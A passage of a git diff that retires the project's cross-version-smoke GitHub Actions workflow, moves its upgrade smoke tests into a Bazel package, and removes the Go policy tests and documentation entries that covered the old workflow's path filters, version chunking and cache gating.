scripts/ci_f7c_advisory_test.go | 309 +--------------------- scripts/ci_workflow_test.go | 12 +- scripts/upgrade-smoke-test.sh | 11 + tests/upgrade_smoke/BUILD.bazel | 43 +++ tests/upgrade_smoke/defs.bzl | 32 +++ tests/upgrade_smoke/upgrade_smoke_test.sh | 17 ++ 14 files changed, 148 insertions(+), 495 deletions(-) delete mode 100644 .github/workflows/cross-version-smoke.yml create mode 100644 tests/upgrade_smoke/BUILD.bazel create mode 100644 tests/upgrade_smoke/defs.bzl create mode 100755 tests/upgrade_smoke/upgrade_smoke_test.sh diff --git a/.github/workflows/cross-version-smoke.yml b/.github/workflows/cross-version-smoke.yml deleted file mode 100644 index 938410be8..000000000 --- a/.github/workflows/cross-version-smoke.yml +++ /dev/null @@ -1,175 +0,0 @@ -name: Cross-Version Smoke Tests - -on: - # On tag push (release gate): test the last 30 releases for broad regression coverage - push: - tags: - - 'v*' - - # On PR to main or a release branch: test only the last 5 releases for fast - # feedback. Release-targeted PRs are exactly the ones where cross-version - # upgrade breakage is most expensive to discover at tag time. - pull_request: - branches: [ main, 'release/**', 'hotfix/**' ] - # "Upgrade-relevant code" allowlist (spec-f7.md §2.4): kept identical - # (modulo each workflow's own file/script entries) across conformance.yml, - # migration-test.yml and cross-version-smoke.yml, and pinned by - # TestAdvisoryWorkflowPathFilters. - paths: - - '**.go' - - '!**_test.go' - - 'go.mod' - - 'go.sum' - - 'Makefile' - - '.buildflags' - # Embedded into the binary (go:embed in internal/storage/schema), so a - # migration-only change is an upgrade-relevant code change. - - 'internal/storage/schema/migrations/**' - - '.github/workflows/cross-version-smoke.yml' - - 'scripts/upgrade-smoke-test.sh' - - # Allow manual trigger with custom version count - workflow_dispatch: - inputs: - version_count: - description: 'Number of previous releases to test against' - required: false - default: '5' - -concurrency: - group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} - cancel-in-progress: true - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - -jobs: - # F7c: smoke's old 1-job-per-version matrix (up to 30 on tag push) folded - # into chunks of 5 versions each, resolved by the `versions` job below. Each - # chunk builds the candidate binary once and loops over - # upgrade-smoke-test.sh's own SMOKE_VERSIONS env var (which already - # self-reinvokes per version and collects failures, so a bad version in a - # chunk does not hide the rest). - smoke: - name: Upgrade smoke (chunk ${{ strategy.job-index }}) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 20 - - strategy: - fail-fast: false - matrix: - chunk: ${{ fromJson(needs.versions.outputs.chunks) }} - - needs: versions - - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Compute chunk cache key - id: chunk - env: - CHUNK_JSON: ${{ toJson(matrix.chunk) }} - run: | - versions="$(jq -r '. | join(" ")' <<<"$CHUNK_JSON")" - hash="$(printf '%s' "$versions" | sha256sum | cut -c1-16)" - echo "versions=$versions" >> "$GITHUB_OUTPUT" - echo "hash=$hash" >> "$GITHUB_OUTPUT" - - # actions/cache (bare) auto-saves at job end on any key miss, which - # would let a same-repo PR that changes the chunk's version set write a - # binaries cache entry another PR (or a later run) could then read back - # without re-downloading or re-verifying it. Restore-only here; the - # matching save below is gated off pull_request so only push/dispatch - # runs can populate this cache (B2, F7c implementation report). - - name: Restore previous release binaries cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: smoke-binaries-${{ steps.chunk.outputs.hash }}-${{ runner.os }} - - - name: Build candidate binary - run: go build -tags gms_pure_go -o /tmp/bd-candidate ./cmd/bd - - - name: Run upgrade smoke tests - env: - CANDIDATE_BIN: /tmp/bd-candidate - SMOKE_VERSIONS: ${{ steps.chunk.outputs.versions }} - run: ./scripts/upgrade-smoke-test.sh - - - name: Save previous release binaries cache - # Allow-list the two triggers this workflow actually intends to - # write from (push, workflow_dispatch), rather than deny-listing - # pull_request: a deny-list of `!= 'pull_request'` also admits a - # hypothetical future merge_group event, which this job's own - # runs-on expression already resolves to Blacksmith for - exactly - # the same same-repo-writer risk X1 closed for pull_request. Pinned - # by TestBlacksmithReachableAdvisoryJobsNeverSaveACache, which checks - # both the pull_request and merge_group trust contexts independently. - if: github.event_name == 'push' || github.event_name == 'workflow_dispatch' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: smoke-binaries-${{ steps.chunk.outputs.hash }}-${{ runner.os }} - - versions: - name: Resolve versions to test - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 5 - outputs: - chunks: ${{ steps.resolve.outputs.chunks }} - steps: - - name: Resolve release versions - id: resolve - env: - GH_TOKEN: ${{ github.token }} - # Tag push and manual dispatch test more versions; PRs test fewer for speed - VERSION_COUNT: ${{ (github.event_name == 'push' && '30') || (github.event_name == 'workflow_dispatch' && inputs.version_count) || '5' }} - run: | - VERSIONS=$(gh release list \ - --repo gastownhall/beads \ - --limit "$VERSION_COUNT" \ - --json tagName \ - --jq '[.[].tagName]') - # Chunks of 5: PRs (5 versions) get 1 chunk; tag pushes (30 - # versions) get 6. Folds the old 1-job-per-version matrix down to - # one job per chunk in `smoke` above, without dropping any version. - CHUNKS=$(jq -c '[range(0; length; 5) as $i | .[$i:$i+5]]' <<<"$VERSIONS") - echo "chunks=$CHUNKS" >> "$GITHUB_OUTPUT" - echo "Testing versions: $VERSIONS" - echo "Chunks: $CHUNKS" diff --git a/BUILD.bazel b/BUILD.bazel index 9916ecbfd..1cb1bcf75 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -24,6 +24,7 @@ exports_files( visibility = [ "//scripts/pr-lint:__pkg__", "//scripts/prlintmake:__pkg__", + "//tests/upgrade_smoke:__pkg__", ], ) @@ -376,6 +377,7 @@ filegroup( "//test/testmainconvention:repo_files", "//tests/migration:repo_files", "//tests/regression:repo_files", + "//tests/upgrade_smoke:repo_files", "//third_party/cc_toolchain:repo_files", "//third_party/patches:repo_files", "//tools/bazel:repo_files", diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index a6bac3a6d..259324933 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -497,6 +497,7 @@ go_binary( "//test/conformance:__pkg__", "//tests/migration:__pkg__", "//tests/regression:__pkg__", + "//tests/upgrade_smoke:__pkg__", ], ) diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index e1d25ed7b..78218e20f 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -157,9 +157,11 @@ Current PR-related workflow names: PR, merge group and push to `main` (results cached until its inputs change), against the catalog-pinned `@bd_releases//:v0.49.6` baseline and a hermetic dolt sql-server. -- `.github/workflows/cross-version-smoke.yml`: `Cross-Version Smoke Tests` - Runs on every PR to `main`, tag pushes, and manual dispatch. Does not - currently run on `merge_group`. +- The upgrade smoke tests (`scripts/upgrade-smoke-test.sh`, formerly + `cross-version-smoke.yml`) are `//tests/upgrade_smoke:upgrade_smoke__test`, + one per release in the newest 30 the release catalog pins, which + `bazel.yml`'s `bazel-test` lane runs on every PR, merge group and push to + `main` (cached until their inputs change). - `.github/workflows/nix-build.yml`: `nix build` Uses workflow-level `paths` filters on `pull_request` and `push`. This workflow must not be directly required. @@ -339,7 +341,8 @@ PR. It runs in the default branch's cache scope, which `push` runs on binaries); - the `beads-go-build-v2-*` GOCACHE entries restored by `main.yml` and `pr.yml`; - - the executables in `smoke-binaries-*` and `historical-dolt-*`. + - the executables in `smoke-binaries-*` and `historical-dolt-*` (both + retired with their workflows). GitHub's read-only default covers all of them. Hardening `release.yml` with `cache: false` is tracked separately. @@ -660,10 +663,6 @@ Do not require these existing check names directly: - `Test (Windows - smoke)` - `PR Lint (native)`, `PR Lint (windows)` and `PR Lint (darwin)` - `Test Nix Flake` -- `Upgrade smoke (chunk N)` (F7c: folded from one job per version into one job - per 5-version chunk; still never require a matrix-expanded chunk job - directly) -- `Resolve versions to test` - `Bazel / test` and the other jobs of `bazel.yml` - `Bazel Farm / *` (`bazel-farm.yml`'s advisory, PR-controlled results) @@ -1386,13 +1385,14 @@ PRs that don't touch Nix or Go module files. ### Cross-Version Smoke -`Cross-Version Smoke Tests` should remain non-required for ordinary PRs unless -maintainers explicitly choose to pay that cost in the aggregate gate. If it -becomes required, add `merge_group` and put it behind a detector plus aggregate -inside the required topology. Do not require matrix-expanded -`Upgrade smoke (chunk N)` jobs directly (F7c folded the old one-job-per-version -matrix into one job per 5-version chunk; the per-chunk job name changed but -the "do not require individually" guidance is unchanged). +`cross-version-smoke.yml` is retired. Its suite runs as +`//tests/upgrade_smoke/...` inside `bazel-test`, which `CI Gate / Required` +requires, so it now gates PRs and merge groups through the aggregate. Each +target pins its previous release from the release catalog (`@bd_releases`) +instead of resolving `gh release list` at run time, so the tested set is +reviewed: the newest 30 stable releases with a linux/amd64 asset, where the +workflow tested the newest 5 GitHub releases (prereleases included) on PRs +and 30 on tag pushes. ## Merge Queue diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 18a805381..202b0dd33 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -200,7 +200,7 @@ Key jobs preserved by display name: | Workflow | Triggers | Main validation | |---|---|---| | `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (8 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | -| `cross-version-smoke.yml` | Tags, PRs, manual | PRs test latest 5 releases, tags test latest 30, via `scripts/upgrade-smoke-test.sh`. | +| `bazel.yml` `bazel-test` (formerly `cross-version-smoke.yml`) | PR, merge group, push to `main` | `//tests/upgrade_smoke:upgrade_smoke__test` for the newest 30 catalog-pinned releases, via `scripts/upgrade-smoke-test.sh` with `PREV_BIN`; cached until their inputs change. | | `bazel.yml` `bazel-test` (formerly `migration-test.yml`) | PR, merge group, push to `main` | `//tests/migration:historical_upgrade__test`, one target per reviewed release (14, v0.9.1 source-built offline) plus `legacy_bridge_test`, against catalog-pinned release binaries; cached until their inputs change. Local entrypoint stays `scripts/migration-test/run.sh`. | | `nightly.yml` | Daily schedule, manual | `go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./...` with `BEADS_TEST_SKIP=dolt`; checks coverage >= 30%. | | `nix-build.yml` | Push to `main` paths for Nix or Go module files, manual | `nix build .#default --print-build-logs`; no longer runs on `pull_request` (F7c, spec-f7.md §2.4) since PR Risk's required `test-nix` job (`nix run .#default` plus `nix flake check -L`) is a superset. | diff --git a/engdocs/ICU-POLICY.md b/engdocs/ICU-POLICY.md index 5939860d6..4eac25f12 100644 --- a/engdocs/ICU-POLICY.md +++ b/engdocs/ICU-POLICY.md @@ -57,7 +57,7 @@ Every build path that produces a binary for users must include `-tags gms_pure_g | macOS release | `.github/workflows/release.yml` | | Migration tests | `//tests/migration/...` (Bazel, `bazel.yml` `bazel-test`) | | Nightly tests | `.github/workflows/nightly.yml` | -| Cross-version smoke | `.github/workflows/cross-version-smoke.yml` | +| Cross-version smoke | `//tests/upgrade_smoke/...` (Bazel, `bazel.yml` `bazel-test`) | | Regression tests | `//tests/regression:regression_test` (Bazel, `bazel.yml` `bazel-cmd-dolt`) | ### Canonical pattern: source `.buildflags` diff --git a/internal/httpclient/wire/skew_test.go b/internal/httpclient/wire/skew_test.go index bf431d7c8..04b023171 100644 --- a/internal/httpclient/wire/skew_test.go +++ b/internal/httpclient/wire/skew_test.go @@ -31,7 +31,7 @@ import ( // // The split is the design's (test-lane map, the skew rows): the deterministic, // in-process half runs at PR cadence here, and the released-binary composition -// half runs in cross-version-smoke.yml. Neither substitutes for the other — +// half runs in //tests/upgrade_smoke. Neither substitutes for the other — // this half owns the branches, that half owns the reality check. // // Three skew directions are covered, and they fail in different ways: diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index b4efd8902..443631a45 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -125,6 +125,11 @@ filegroup( visibility = ["//tests/migration:__pkg__"], ) +exports_files( + ["upgrade-smoke-test.sh"], + visibility = ["//tests/upgrade_smoke:__pkg__"], +) + exports_files( [ "ci/fmt-check.sh", diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 100d2e776..517220025 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -1,10 +1,7 @@ package scripts_test import ( - "encoding/json" "fmt" - "os/exec" - "regexp" "sort" "strings" "testing" @@ -13,49 +10,13 @@ import ( ) // F7c (spec-f7.md §2.4, §4.3): advisory workflows moved onto a same-repo-PR -// Blacksmith runner, gained a shared "upgrade-relevant code" path filter, and -// had their matrices folded (Migration Test Harness 14 -> 3, Cross-Version -// Smoke 6 -> 2). These tests pin the invariants that make those changes safe: -// the path filter is identical where it should be, no historical version or -// scenario was dropped by a fold, no advisory job can read a secret just -// because it now names a Blacksmith label, and the Blacksmith-side setup-go -// seed in main.yml actually exists for the jobs that depend on it. - -// advisoryPathFilteredWorkflows are the workflows that share the -// "upgrade-relevant code" allowlist verbatim, save for each one's own -// workflow-file and script entries (spec-f7.md §2.4). conformance.yml and -// migration-test.yml were the others until their tiers moved to Bazel -// (embeddeddolt_conformance_*, //test/conformance:conformance_test, -// //tests/migration). -var advisoryPathFilteredWorkflows = []string{ - "cross-version-smoke.yml", -} - -// advisoryPathFilterBase is the shared prefix of the allowlist: any non-test -// Go change, build input, or embedded schema migration. It must appear, in -// this order, at the start of each of advisoryPathFilteredWorkflows' -// pull_request.paths list. -var advisoryPathFilterBase = []string{ - "**.go", - "!**_test.go", - "go.mod", - "go.sum", - "Makefile", - ".buildflags", - // The .up.sql files are go:embed'd by internal/storage/schema, so they - // change upgrade behavior without matching "**.go"; a migration that - // ships with only a _test.go beside it would otherwise skip all three. - "internal/storage/schema/migrations/**", -} - -// advisoryPathFilterOwnEntries is each workflow's own file/script additions, -// appended after advisoryPathFilterBase. -var advisoryPathFilterOwnEntries = map[string][]string{ - "cross-version-smoke.yml": { - ".github/workflows/cross-version-smoke.yml", - "scripts/upgrade-smoke-test.sh", - }, -} +// Blacksmith runner. These tests pin the invariants that make that safe: no +// advisory job can read a secret just because it now names a Blacksmith +// label, and the Blacksmith-side setup-go seed in main.yml actually exists +// for the jobs that depend on it. The path-filtered upgrade suites F7c folded +// (Migration Test Harness, Cross-Version Smoke) and their filter and fold +// checks are gone: those suites run under Bazel (//tests/migration, +// //tests/upgrade_smoke). type pullRequestPaths struct { On struct { @@ -93,42 +54,6 @@ func readPushPaths(t *testing.T, file string) []string { return parsed.On.Push.Paths } -// TestAdvisoryWorkflowPathFiltersAreIdentical pins that the shared base of -// the "upgrade-relevant code" allowlist is byte-for-byte identical, in the -// same order, across all three workflows it applies to. GitHub Actions has no -// cross-file include for `on:` triggers, so this is the fallback the spec -// explicitly allows: identical literal lists plus a policy test asserting -// they stay identical (spec-f7.md §2.4). -func TestAdvisoryWorkflowPathFiltersAreIdentical(t *testing.T) { - for _, file := range advisoryPathFilteredWorkflows { - paths := readPullRequestPaths(t, file) - if len(paths) < len(advisoryPathFilterBase) { - t.Fatalf("%s pull_request.paths = %v, too short to hold the shared base %v", file, paths, advisoryPathFilterBase) - } - got := paths[:len(advisoryPathFilterBase)] - for i, want := range advisoryPathFilterBase { - if got[i] != want { - t.Errorf("%s pull_request.paths[%d] = %q, want %q (shared base must match byte-for-byte and in order)", file, i, got[i], want) - } - } - } -} - -// TestAdvisoryWorkflowPathFiltersCoverOwnInputs pins that each workflow also -// allowlists its own workflow file and the scripts/fixtures it actually -// exercises, so an edit to e.g. scripts/upgrade-smoke-test.sh is never silently -// skipped by the filter that was added to cut unrelated-PR load. -func TestAdvisoryWorkflowPathFiltersCoverOwnInputs(t *testing.T) { - for file, want := range advisoryPathFilterOwnEntries { - paths := readPullRequestPaths(t, file) - for _, entry := range want { - if !contains(paths, entry) { - t.Errorf("%s pull_request.paths %v does not contain its own entry %q", file, paths, entry) - } - } - } -} - // TestNixBuildDropsPullRequestTriggerNotPushOrDispatch pins the one // "delete the pull_request trigger" trigger change in F7c: nix-build.yml's // PR coverage is fully redundant with PR Risk's required test-nix job (which @@ -199,137 +124,11 @@ func sortedCopy(items []string) []string { return out } -// --- Cross-Version Smoke: 6 -> 2 jobs, chunks of 5, no version dropped ---- - -// ghExtractJQProgram pulls the single-quoted jq program out of a standalone -// `jq - ''` invocation inside a step's `run:` text, so a test -// can execute the REAL program with `jq` directly instead of asserting on a -// substring of the surrounding bash. The flag group is required (one or -// more) specifically so this does not also match `gh`'s own `--jq -// '[.[].tagName]'` filter, which has no `-c`/`-r` flag of its own between -// "jq" and the quoted program. None of this repo's embedded jq programs -// contain a literal single quote, so a non-greedy single-quote match is -// sufficient. -var jqProgramPattern = regexp.MustCompile(`jq(?: -[A-Za-z]+)+ '([^']*)'`) - -func ghExtractJQProgram(t *testing.T, run string) string { - t.Helper() - m := jqProgramPattern.FindStringSubmatch(run) - if m == nil { - t.Fatalf("no `jq '...'` invocation found in:\n%s", run) - } - return m[1] -} - -func runJQ(t *testing.T, program string, stdin string) string { - t.Helper() - requireHostTool(t, "jq") - cmd := exec.Command("jq", "-c", program) - cmd.Stdin = strings.NewReader(stdin) - out, err := cmd.CombinedOutput() - if err != nil { - t.Fatalf("jq -c %q <<<%q: %v\n%s", program, stdin, err, out) - } - return strings.TrimSpace(string(out)) -} - -// TestCrossVersionSmokeChunksEveryResolvedVersion runs the REAL jq programs -// embedded in the "Resolve release versions" and "Compute chunk cache key" -// steps against synthetic version lists, instead of asserting on their -// source text (F7c review fix S1, closes mutation M6 `[range(0; length; 5) -// as $i | .[$i:$i+4]]` off-by-one and M7 jq-slice-dropping-versions -// mutations): every resolved version must appear in exactly one chunk, no -// chunk may exceed 5 versions, and the chunk-key step's join must reproduce -// every version in its chunk, in order, space-separated. -func TestCrossVersionSmokeChunksEveryResolvedVersion(t *testing.T) { - workflow := readCIWorkflow(t, "cross-version-smoke.yml") - - versionsJob := workflow.job(t, "versions") - resolve := versionsJob.step(t, "Resolve release versions") - chunkProgram := ghExtractJQProgram(t, resolve.Run) - if versionsJob.Outputs["chunks"] == "" { - t.Errorf("cross-version-smoke.yml's versions job has no chunks output") - } - - for _, n := range []int{0, 1, 4, 5, 6, 9, 10, 29, 30} { - versions := make([]string, 0, n) - for i := 0; i < n; i++ { - versions = append(versions, fmt.Sprintf("v0.%d.0", i)) - } - versionsJSON, err := json.Marshal(versions) - if err != nil { - t.Fatal(err) - } - var chunks [][]string - if err := json.Unmarshal([]byte(runJQ(t, chunkProgram, string(versionsJSON))), &chunks); err != nil { - t.Fatalf("n=%d: chunk output did not parse as [][]string: %v", n, err) - } - wantChunks := (n + 4) / 5 - if n == 0 { - wantChunks = 0 - } - if len(chunks) != wantChunks { - t.Errorf("n=%d: got %d chunks, want %d", n, len(chunks), wantChunks) - } - var flat []string - for _, c := range chunks { - if len(c) > 5 { - t.Errorf("n=%d: chunk %v has more than 5 versions", n, c) - } - flat = append(flat, c...) - } - if !equalStrings(flat, versions) { - t.Errorf("n=%d: concatenated chunks = %v, want exactly the resolved version list %v in order", n, flat, versions) - } - } - - smokeJob := workflow.job(t, "smoke") - if !contains(smokeJob.Needs, "versions") { - t.Errorf("cross-version-smoke.yml's smoke job does not need versions") - } - - chunkKeyStep := smokeJob.step(t, "Compute chunk cache key") - joinProgram := ghExtractJQProgram(t, chunkKeyStep.Run) - for _, chunk := range [][]string{ - {"v1.2.2"}, - {"v1.0.0", "v1.0.1", "v1.1.0", "v1.1.2", "v1.2.2"}, - } { - chunkJSON, err := json.Marshal(chunk) - if err != nil { - t.Fatal(err) - } - got := strings.Trim(runJQ(t, joinProgram, string(chunkJSON)), `"`) - want := strings.Join(chunk, " ") - if got != want { - t.Errorf("chunk-key join(%v) = %q, want %q", chunk, got, want) - } - } - - buildStep := smokeJob.stepIndex(t, "Build candidate binary") - runStep := smokeJob.stepIndex(t, "Run upgrade smoke tests") - if buildStep >= runStep { - t.Errorf("Build candidate binary (index %d) must run before Run upgrade smoke tests (index %d), so the candidate is built once per chunk, not once per version", buildStep, runStep) - } - - run := smokeJob.step(t, "Run upgrade smoke tests") - if run.Env["SMOKE_VERSIONS"] != "${{ steps.chunk.outputs.versions }}" { - t.Errorf("cross-version-smoke.yml's smoke job SMOKE_VERSIONS = %q, want the chunk step's versions output", run.Env["SMOKE_VERSIONS"]) - } - // Exact match (not a substring check, F7c review fix S1): the whole point - // of SMOKE_VERSIONS is that upgrade-smoke-test.sh's own loop consumes it; - // any extra positional arg (e.g. a reintroduced matrix.prev_version) would - // silently make the script test only one version per chunk again. - if want := "./scripts/upgrade-smoke-test.sh"; strings.TrimSpace(run.Run) != want { - t.Errorf("cross-version-smoke.yml's Run upgrade smoke tests run = %q, want exactly %q", run.Run, want) - } -} - // --- Security: no job gains a secret just by naming a Blacksmith label ---- // blacksmithAdvisoryWorkflows are every workflow file F7c moved a job onto a // same-repo-PR (or push-only, for main.yml's seed) Blacksmith runner. var blacksmithAdvisoryWorkflows = []string{ - "cross-version-smoke.yml", "docs-mintlify.yml", "main.yml", } @@ -379,8 +178,6 @@ var advisoryBlacksmithRunnerJobs = []struct { blacksmithLabel string fallback string }{ - {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, - {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"docs-mintlify.yml", "broken-links", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, } @@ -446,16 +243,13 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { // blacksmithSetupGoCacheConsumers is every advisory job that restores the // self-defined `blacksmith-sg-v1-` setup-go cache main.yml's // blacksmith-setup-go-cache job seeds (B2, F7c implementation report). -var blacksmithSetupGoCacheConsumers = map[string][]string{ - "cross-version-smoke.yml": {"smoke"}, -} +var blacksmithSetupGoCacheConsumers = map[string][]string{} // blacksmithSetupGoCacheKeyNamespace is the self-defined cache key prefix // (not setup-go's own implicit key) that the seeder and every consumer share, // so the "no save in a consumer job" checks below can scope to exactly this -// cache without also flagging an unrelated, legitimately-caching step (a -// binary cache with a distinct restore/save pair of its own - see -// advisoryBinaryCaches below). +// cache without also flagging an unrelated, legitimately-caching step in +// another namespace. const blacksmithSetupGoCacheKeyNamespace = "blacksmith-sg-v1-" // TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers pins that main.yml's @@ -636,10 +430,10 @@ func TestMainWorkflowHasNoSameRepoPRReachableTrigger(t *testing.T) { // main.yml's seeder may ever write it, so a same-repo PR run can read the // cache but never poison what another PR or main's seeder reads back. The // "no save" check is scoped to the blacksmith-sg-v1- key namespace -// specifically (not "no actions/cache/save in this job at all"), since a -// binary cache in a different namespace is governed by its own -// restore/save-gated pair below (advisoryBinaryCaches / F7c review fix X1), -// not an exemption from this one. +// specifically (not "no actions/cache/save in this job at all"): a cache in +// another namespace is the general sweep's concern below +// (TestBlacksmithReachableAdvisoryJobsNeverSaveACache), not an exemption +// from this one. func TestAdvisoryBlacksmithConsumersAreCacheRestoreOnly(t *testing.T) { for file, jobNames := range blacksmithSetupGoCacheConsumers { workflow := readCIWorkflow(t, file) @@ -757,81 +551,6 @@ func TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers(t *testing.T) { } } -// --- Binary caches: restore-always, save only off pull_request ------------ - -// advisoryBinaryCaches are the per-binary caches F7c review fixes B2 and X1 -// converted from a monolithic (auto-saving) actions/cache into an explicit -// restore/save pair, so a same-repo PR can read a previously published -// binary but never publish its own into a cache another run would trust -// unverified. migration-test.yml's historical-dolt-* cache was originally -// exempted here on the theory that scripts/migration-test/lib/binary.sh's -// sha256 verification of every extracted archive made a bare, auto-saving -// actions/cache safe regardless of who wrote it. That exemption was unsound -// (F7c review fix X1): `tar -P` extraction plus lib/binary.sh's `cp -f` -// following a symlink planted inside the archive can redirect the final copy -// to an arbitrary path (e.g. over the checked-out workspace or the candidate -// binary itself) before the checksum check ever runs, so checksum -// verification alone does not make a same-repo-PR-writable cache entry safe -// to trust. historical-dolt-* now gets the same restore-always/save-off-PR -// split as the other two. -var advisoryBinaryCaches = []struct { - file, job, restoreStep, saveStep, keyPrefix string - // wantSaveIf is the save step's `if:` condition, required byte-for-byte - // (F7c review fix S3): a `strings.Contains` check here would pass under - // e.g. `... || true`, which always evaluates true and silently - // reintroduces the same-repo-PR poisoning path this whole table exists - // to close. - wantSaveIf string -}{ - {"cross-version-smoke.yml", "smoke", "Restore previous release binaries cache", "Save previous release binaries cache", "smoke-binaries-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, -} - -// TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated pins the restore/save -// split itself (F7c review fix B2): the restore step always runs (modulo the -// job's own pre-existing gate, if any), -// the save step additionally requires an exact allow-list of -// `github.event_name == 'push' || github.event_name == 'workflow_dispatch'` -// (F7c review fix, discovered via the S2 sweep: a deny-list of -// `!= 'pull_request'` also admits a hypothetical future merge_group event, -// which each of these three jobs' runs-on expressions already resolve to -// Blacksmith for), both steps key off the same cache, and no monolithic -// (bare) actions/cache step remains for either binary cache - a monolithic -// step would silently reintroduce the auto-save-on-any-PR poisoning path B2 -// closes. -func TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated(t *testing.T) { - for _, c := range advisoryBinaryCaches { - t.Run(c.file, func(t *testing.T) { - workflow := readCIWorkflow(t, c.file) - job := workflow.job(t, c.job) - - restore := job.step(t, c.restoreStep) - if actionFamily(restore.Uses) != cacheRestoreActionFamily { - t.Errorf("%s job %s step %q uses %q, want family %q", c.file, c.job, c.restoreStep, restore.Uses, cacheRestoreActionFamily) - } - if !strings.HasPrefix(restore.With["key"], c.keyPrefix) { - t.Errorf("%s job %s step %q key = %q, want prefix %q", c.file, c.job, c.restoreStep, restore.With["key"], c.keyPrefix) - } - - save := job.step(t, c.saveStep) - if actionFamily(save.Uses) != cacheSaveActionFamily { - t.Errorf("%s job %s step %q uses %q, want family %q", c.file, c.job, c.saveStep, save.Uses, cacheSaveActionFamily) - } - if save.If != c.wantSaveIf { - t.Errorf("%s job %s step %q has if=%q, want exactly %q", c.file, c.job, c.saveStep, save.If, c.wantSaveIf) - } - if save.With["key"] != restore.With["key"] { - t.Errorf("%s job %s: restore key %q != save key %q", c.file, c.job, restore.With["key"], save.With["key"]) - } - - for _, step := range job.Steps { - if actionFamily(step.Uses) == cacheMonolithicActionFamily && strings.HasPrefix(step.With["key"], c.keyPrefix) { - t.Errorf("%s job %s has a monolithic actions/cache step keyed %q; B2 requires an explicit restore/save split here", c.file, c.job, step.With["key"]) - } - } - }) - } -} - // --- General sweep: no Blacksmith-reachable advisory job may save a cache -- // generalCacheSweepWorkflows is every F7c advisory workflow plus main.yml diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index b3f0980c6..ae88cefb7 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -126,7 +126,7 @@ func TestPullRequestWorkflowsTriggerOnHotfixBranches(t *testing.T) { } root := sourceRepoRoot(t) for _, name := range []string{ - "pr.yml", prRiskWorkflowName, "cross-version-smoke.yml", + "pr.yml", prRiskWorkflowName, } { t.Run(name, func(t *testing.T) { var doc triggers @@ -2709,9 +2709,8 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' 